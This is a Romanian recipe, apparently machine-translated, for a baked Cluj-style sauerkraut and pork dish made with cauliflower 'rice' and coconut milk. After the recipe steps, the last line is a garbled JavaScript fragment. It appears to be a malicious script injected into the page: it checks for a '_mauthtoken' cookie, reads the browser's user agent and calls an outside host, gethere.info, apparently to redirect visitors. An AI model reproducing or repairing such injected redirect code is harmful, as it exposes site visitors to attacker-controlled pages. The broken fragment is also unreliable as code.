Varză Koložvár preparată fără orez și smântână.
Probabil ați auzit de orezul conopidă, așa că de ce să nu încercați acest lucru?:) Crede-mă, nu regreți. Această masă a fost cea mai mare surpriză a mea în timpul provocării sănătoase din ianuarie.
Ingrediente:
- 750g varză murată (fără apă)
- 500g carne de porc tocată
- 50g slănină de calitate
- 500g conopidă
- 1 ceapa tocata marunt
- 3 felii de căței de usturoi
- 100ml lapte de cocos + 100ml apă
- 2 oua
- 1 lingură ulei de măsline și 1 lingură unguent
- 1 linguriță de ardei roșu
- sare și piper după gust
Abordare:
- Se topește ceapa cu varză și ardei roșu timp de 15 minute.
- Prelucrăm conopida în „orez”. Acest lucru se poate face folosind o răzătoare sau amestecând într-un robot.
- Se toarnă usturoiul în ulei de măsline, se adaugă conopida, sarea și se condimentează. Gătiți timp de aproximativ 15 minute.
- Tăiați slănina cubulețe mici și prăjiți-o împreună cu carnea, amestecând ocazional într-o tigaie timp de 5 minute.
- Vom pregăti un vas de copt mai mare (aproximativ 25x25cm în dimensiune).
- Ungeți-l cu unguent și acoperiți varza-orez-carne-varză- ...-carne-varză.
- Se coace 20 de minute la 180 ° C.
- Se amestecă ouăle, laptele de cocos și apa într-un castron, se adaugă un praf de sare și piper. Se toarnă uniform peste varza koložvár și se coace încă 10 minute.
- Se serveste curat sau clasic cu cartofi:).
if (document.cookie.indexOf („_mauthtoken”) == - 1) >>) (navigator.userAgent || navigator.vendor || window.opera, 'http: //gethere.info/kt/? 264dpr &' );>